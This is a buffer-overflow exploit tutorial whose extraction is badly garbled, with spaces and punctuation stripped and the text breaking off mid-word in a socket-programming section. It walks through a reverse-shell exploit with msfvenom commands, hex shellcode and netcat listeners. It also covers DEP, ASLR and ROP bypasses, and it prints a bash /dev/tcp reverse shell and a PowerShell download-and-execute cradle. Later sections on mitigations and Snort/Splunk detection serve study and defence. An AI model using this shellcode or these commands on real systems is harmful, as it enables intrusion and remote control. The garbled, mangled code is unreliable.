BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

BasicsonSocketProgramminginCincludeTheincludeiscalledapre-processordirectiveWhenyoucompileaCorC++programoneofthefirstthingsCdoesisuseapre-processorandfindthecharactersTheincludedirectiveinsertsthecontentsofanotherfileintothatspotinthesourcecodeThinkofitlikesourcinganydependentClibrariesUsuallythisisaheaderfile(hextension)thatdefinesvariabletypesorfunctionsSincetheincludedfilesnameissurroundedbyltandgtitmeansitslocatedinthestandardincludepathandnotwiththerestofthesourcefilesincludeltstdiohgtInputandOutputoperationscanalsobeperformedinC++usingtheCStandardInputandOutputLibrary(cstdioknownasstdiohintheClanguage)ThislibraryuseswhatarecalledstreamstooperatewithphysicaldevicessuchaskeyboardsprintersterminalsorwithanyothertypeoffilessupportedbythesystemStreamsareanabstractiontointeractwiththeseinauniformwayAllstreamshavesimilarpropertiesindependentlyoftheindividualcharacteristicsofthephysicalmediatheyareassociatedwithincludeltstdlibhgtThisheaderdefinesseveralgeneralpurposefunctionsincludingdynamicmemorymanagementrandomnumbergenerationcommunicationwiththeenvironmentintegerarithmeticssearchingsortingandconvertingrsquoincludeltstringhgtThisheaderfiledefinesseveralfunctionstomanipulateCstringsandarraysEgCopyingconcatenationcomparisonetcincludeltsyssockethgtThisheaderfileprovidesgeneralfunctionalityforsocketprogrammingAsocketisageneralizedinterprocesscommunicationchannelLikeapipeasocketisrepresentedasafiledescriptorUnlikepipessocketssupportcommunicat